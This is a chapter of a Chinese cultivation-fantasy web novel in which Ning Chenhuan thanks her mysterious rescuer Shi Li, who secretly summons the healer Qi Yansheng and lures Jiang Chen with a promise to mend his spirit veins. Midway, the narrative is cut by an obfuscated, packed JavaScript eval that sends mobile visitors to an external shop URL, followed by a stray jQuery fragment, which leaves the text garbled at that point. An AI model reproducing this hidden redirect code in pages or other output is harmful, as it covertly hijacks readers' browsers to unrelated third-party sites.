宁沉欢在房中收拾好床榻,寻了个椅子坐下,没多时,有人推门进来,带着清晨的微光和山间特有的清冽气息。
来者是位姑娘,样貌不凡,身着一身浅绿色的剑服。两撮刘海自然分开,漏出额头的位置,刘海的长度恰好落在眉眼之间,衬得一双杏眼俏皮又漂亮。
剩下的乌发被她编成了一条辫子,辫子随着她推门的动作垂在肩侧,又被她随意丢到背后。
见到已然苏醒的宁沉欢,阿黍漂亮的脸上瞬间绽开一个毫无保留的笑容,嘴角两个梨涡也带着十足的欣喜:“宁姑娘,你醒啦!”
她的声音清脆,动作轻盈利落,三两步就跨到宁沉欢身前,整个人透出一股未经世事打磨的朝气蓬勃。
“差点忘了介绍,你叫我阿黍就好。”
宁沉欢后退一步,单膝跪地,双手抱拳,“多谢阿黍姑娘施救之恩。”
阵势将阿黍吓了一跳,连忙将她扶起,“你谢错了人,我修剑道,不会救人,是师叔救了你。方师弟还说你没救了,多亏师叔医术通玄。”
宁沉欢起身站定,眸中闪过一丝了然,目的明确:“救命之恩,无以为报,劳烦阿黍姑娘为我引荐,我想当面叩谢大恩。”
阿黍心中不由腹诽,宁姑娘说话硬巴巴的,行事一板一眼,让她恍若见到了另一个周师妹。
只犹豫一瞬,阿黍便爽快地拍了拍胸口,梨涡浅现:“没问题,师叔正在芥雪堂,我带你过去。”
出了悬壶堂,宁沉欢才发现这里与尘界季节不同,尘界正值深秋,此界已是冬天。
她想到江辰身上只有一件单衣,无法御寒,心中如同压了块沉甸甸的石头,亏欠感再次浮起,江辰本该前路璀璨,都是因为自己。
芥雪堂在浮槎山的另一侧,堂前没有什么精巧布置,不过随意铺些青石砖,阶旁生着一株老梅,枝干虬结如铁,有残雪积于黝黑枝桠之上,带着几分野逸之气。
宁沉欢落后半步,跟着阿黍进去。
堂内茶香氤氲,两人一站一坐,坐着的是位女修,着白衣,一身冰雪气;站着的是位男修,着青衣,有着一副平易近人的相貌。
宁沉欢想,她大概知道阿黍姑娘口中的师叔是哪位了。
月兆雪站起身,目光略略扫过宁沉欢,已经将她的修为试探得差不多。她刚入道,不知如何闯过浮槎山的阵法。
“她就是你昨日救下的人?”
时黎颔首,知道要给月兆雪一个合理的解释,一边暗暗盯着宁沉欢动作,防止她说出什么不该说的话,一边又将慌话重复一遍:“她是我旧友的血脉,既找到我,不能不救。”
昨日异香自然惊动了月兆雪,难怪方渡动用此宝物相救,原来与她关系匪浅。一百多年都没听过方渡提起过什么朋友,她又问,“姓谁名谁?”
“姓宁名溪,故人已逝,见到她的血脉,难免有些物是人非的感慨。”
月兆雪不再多问,只嘱咐阿黍多照料些宁沉欢。辰时已到,她该去外面教习了。
时黎目送月兆雪出了芥雪堂,心下差异,她竟还能沉得住气,一点不好奇她手上血珀的来历。
一连两天提到宁溪,时黎有些沉浸在失去二师姐的低沉情绪中。二师姐有救世之志,却因逆势孤行,以身殉道。
她没注意到宁沉欢听见宁溪这个名字时的神态,绝不是她以为的二人毫无干系的样子。
后来,时黎不止一次的后悔,若是她在此时发现端倪,事情也不至于发展到不可挽回的地步。
眼见阿黍姑娘的师尊离开,宁沉欢向前行礼,姿态恭敬:“多谢前辈救我二人性命,他日凡有驱使处,愿为前辈效犬马之劳,以报万一。”
时黎垂眸看着跪伏在地的少女,对着她要报恩的言语不以为意,心中念头转动,她怎么能寻个机会好好研究江辰体内的死气。
时黎面上依旧是那副温润的模样,淡淡地‘嗯’了一声,算是应了,道:“起来吧,你伤势未愈,还是先好生养着。”
许是她在江家寄养多年得来的本事,宁沉欢敏锐地察觉到这位前辈言语中的不在意。
救命之恩做不得假,可他对自己表现出来的态度,在阿黍姑娘的师尊离开后突然淡了下来。她能清晰的感受到这份距离感,仿佛自己郑重其事的报恩对他而言是件与己无关的小事。
宁沉欢也没期望这位前辈看在先祖的情面上对自己多加照料。
但前辈这个态度不,像是遇见了旧友血脉,既无怀念与触动,也无关切与呵护,只好似随口一提。
她什么也没有问,只是暗自震惊:眼前这人,竟已活了五千多年。
尘界可考的历史,恰好也是五千年,分为两段。一段是乱元纪年,另一段便是如今的天元纪年。
传说乱元纪中,世道混乱不堪。那时灵修者远多于凡人,人人仗着修为抢夺法宝、占地称王,争斗厮杀无日无之。尘界动荡如沸鼎,凡人如蝼蚁般苟且偷生。
据宁家族史记载,祖师与界璧一同降世。她虽非灵修者,却通晓世间诸多阵法,教导出许多杰出的弟子。
后来,正是祖师的弟子们,联手终结了这段漫长的乱元纪年。
她们以阵法为基,合众人之力,平定了各方割据,重整尘界秩序。乱世自此而止,天元纪年由此开启。
五千年过去,再真挚的情谊也该被时间磨淡了。宁沉欢又想,前辈活了五千多年,难不成这里就是仙界?
阿黍领着宁沉欢去了浮槎山弟子修习的地方,为她寻出一个空房间。
“宁姑娘,你就先住在这儿吧!”阿黍的声音带着让人舒心的暖意,“这里虽然小些,但是安静舒适,正适合修养。”
阿黍的安排周到又妥帖,宁沉欢感受到她发自内心的热情,再次真诚道谢后询问:“阿黍姑娘,我的那位同伴,他现在住在哪里?”
“他现在和方师弟住在一起,就在悬壶堂后面。”
房间在阿黍姑娘离开后重新安静下来,宁沉欢运转灵力感应追迹符,不出意料,没有任何回应。界璧不知是什么器物,不放过一丝一毫进入其中的灵力。
宁沉欢没在房中待多久,按着来时印象重回悬壶堂,在屋内看见一碗白粥并一碟小菜,独不见江辰。
她这时还不确定,后面几天,她每每见到江辰,他总会寻出借口离开,对她避而不见,与他们二人在尘界的相处模式截然相反。
深灰色扁圆形石扣中的追迹符已经失灵,宁沉欢在江辰不注意时,重新换上一个一模一样的。
原本的石扣被宁沉欢攥在手里,她不得不思考另一种可能,或许他们之间的情谊早就被一桩桩俗事消磨殆尽。
因为她,江辰灵脉破碎,丢掉储君之位。又因体内有着她的本命骨,时时刻刻遭受着母亲和江静渊的追杀,朝不保夕。
江辰从前无处可去,只能活在她的庇护之下,或许当时连他自己也分不清自己的感情。现在来到这个地方,重得自由身,自然不甘心只围在自己身边。
不,或许江辰早就分清了,只剩她自欺欺人。否则,在尘界时,江辰为什么宁愿自杀也要摆脱自己?
细细算来,她与江辰之间早已隔了一条天堑。宁沉欢沉沉闭上眼,脑中一片绞痛,现在,她还要继续以保护的名义留住江辰吗?
这几天,二人的相处状态,时黎一直看在眼里,心中早有计较,一封密信传给枯荣道道主亓厌生。
亓厌生其人,并非野路子的医修,反而出身名门,家学渊源。
自幼便将药家经典倒背如流,双手修长如玉、骨节分明,捻针施药的动作快、准、稳,金针渡穴的功夫尽得真传。
年轻时的亓厌生身姿挺拔如新竹,喜穿一尘不染的月白襕衫,眉宇间凝着一股远超同龄人的早慧与偏执,是药修中最负盛名的少年天才。
不似现在,须发皆白,精瘦得近乎嶙峋,蜡黄的皮紧裹着骨架,似一株被风干了许多年的老参。白灰色的医袍空荡荡挂在他身上,十指枯瘦灵活如毒蛛跗爪,唯有一双眼睛亮的惊人。
枯荣道中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637499|206618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,亓厌生眼前凭空浮现一行字:朔殁洲,浮槎山,速来。这行字在他看过后迅速消失。
亓厌生雪白的长眉几不可察的挑起来,教主几百年都没单独召他,如今外面出了什么事,能让教主唤他。
不管怎么样,教主现身,九洲这潭死水终于要重新热闹起来了。
想到此,亓厌生脸上呈现一种疯狂又扭曲的快意,猛地爆发出一阵大笑,古怪的腔调越来越肆意,最后变成酣畅淋漓的狂笑。笑声经过之处,道中徒子徒孙乌泱泱躬身俯首。
消息收到之后,亓厌生不敢耽搁,紧赶慢赶,略略过了一天时间就渡过无尽河,第二天下午就向时黎传信,说已在浮槎山下候命。
时黎传音吩咐他,收敛行踪,耐心等候,她自有安排。
日子又过去两日,时黎见江辰眉间郁色越来越重,心知时机已到。今天正是逢十的日子,方见微早早下山去,山上众人各自忙碌着,时黎找到在后山帮忙侍弄药草的江辰。
看见方渡到来,江辰第一反应是皱了一下眉,心中暗道一声装货,绕过他去。
就算是方渡救了宁沉欢,他对这人的观感却谈不上多好——方渡总给他一种分裂的感觉。
他在这些弟子面前永远保持着一种令人如沐春风的温润,唇角噙着清浅的笑意,一身从容气度,受尽尊崇。但他总不忘了第一次见面、四下无人时,方渡眼中视人命如草芥的漠然。
这种漠然,他在江静渊脸上见过,在宁槿脸上见过。一见方渡,更觉熟悉,都是一副令人作呕的上位者姿态。
这个人在外面维护着他悬壶济世的医者形象,直觉却告诉江辰,高高在上、目中无尘才是方渡本来的面目。这个人先说不能救,后面又肯伸手施救,谁知道他抱着什么心思。
时黎浑不在意,见江辰放下手中工具就要离开,温声开口留他:“江小友难道不想修补好自己的灵脉吗?”
这几个字重若千钧地砸在江辰心上,一时让他走不动道。如果他曾经是个凡夫俗子也就罢了,可他偏偏也是灵修者。
界璧中的男子看他的眼神如看蝼蚁,似是在说,宁沉欢身边怎么会有他这样的人。
江辰定定看着他,并着警惕而来的是他也说不清的期望:“我问过方见微,他告诉我,我这种情况,只有金仙境的医修才能救,难不成你是?”
他又问去哪里可以拜见这样的医仙,方见微神情寂然,许久才说,药道荒凉许久,世上没有金仙境的医修。
短短一句话,几乎为他判了死刑。
“初出茅庐的小子,知道些什么,”时黎脸上重新挂上漫不经心,淡淡道:“天地间,生死不可逆,时间不可逆,除此之外,没什么办不到的。”
时黎将目光投向江辰,自我修正,“不对,在你之后,天地间只有时间不可逆。”
那道目光就像在观摩一件极其罕见的器物,江辰作为这道目光的承受者心底一阵阵发毛。
既然连尘界之外的世界都没法做到生而复死,几乎是本能,江辰意识到,在界璧中发生的事绝不能告诉其他人。
匹夫无罪怀璧其罪的道理他还是懂得,编织的慌话脱口而出:“我不是例外,那只是濒死产生的幻觉,我怎么可能知道死亡是什么感觉?”
江辰的语速很快,时黎看出他的否认、惊慌、谨慎,不在意的点点头。
江辰看着他的那副姿态,也不知道他到底信不信。但他很快就从炸毛的状态调整好,他究竟有没有死而复生,别人又如何确定呢?实在没必要担心,方渡说不定只当他说了句胡话。
当务之急,还是找到办法修复好自己的灵脉,江辰又将话题转回去:“你说了这么多,还没告诉我修补灵脉的方法。”
此界本就是灵力修炼之所,宁沉欢日后只会更加出类拔萃。
江辰想到他与宁沉欢的差距,想到界璧中突然出现的男子,心中拿定主意,不管方渡开出什么条件,他都会去做。
宁沉欢身边可以是任何人,唯独不能是一个弱者。